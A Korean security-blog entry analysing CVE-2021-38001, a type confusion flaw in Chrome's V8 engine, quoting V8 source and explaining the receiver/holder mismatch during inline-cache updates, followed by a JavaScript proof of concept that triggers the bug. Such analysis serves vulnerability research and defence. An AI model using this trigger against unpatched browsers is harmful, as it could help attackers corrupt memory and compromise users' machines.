[하루한줄] CVE-2021-38001: Chrome V8의 Type Confusion 취약점

URL

Target

  • Chrome V8

Explain

지난 8월에 이어 Chrome의 V8 엔진에서 Type Connfusion 취약점이 발견되어 PoC 및 상세 정보가 공개되었습니다.

CVE-2021-30517: Chrome V8 엔진의 Type Confusion 취약점

취약점은 미스된 캐시를 업데이트하는 과정에서 [accessor-assembler.cc](<http://accessor-assembler.cc>)ic.cc 사이에 발생합니다. 다음은 accessor-assembler.cc 의 코드 일부입니다.

//accessor-assembler.cc
Comment("module export");
TNode<UintPtrT> index =
	DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);

// p->receiver로 캐스팅해 속성 접근
TNode<Module> module = LoadObjectField<Module>(
	CAST(p->receiver()), JSModuleNamespace::kModuleOffset);

TNode<ObjectHashTable> exports =
	LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));

캐시 미스가 발생하면 ComputeHander를 호출해 캐시를 업데이트합니다. ic.ccJSModuleNamespacelookup_start_object(holer)를 기반으로 캐시를 업데이트하지만 업데이트 후 accessor-assembler.cc에서 이루어지는 실제 속성 액세스 프로세스는 JSModuleNamespace에 없는 receiver 객체에서 실행됩니다. 따라서 receiverlookup_start_object(holder)가 다르면 Type Confusion이 발생하게 됩니다.

취약점에 대한 POC는 다음과 같습니다.

import * as module from "1.mjs";

function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = module;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }
    
    for (let i = 0; i < 0x100; i++) {
        trigger();
    }
}

poc();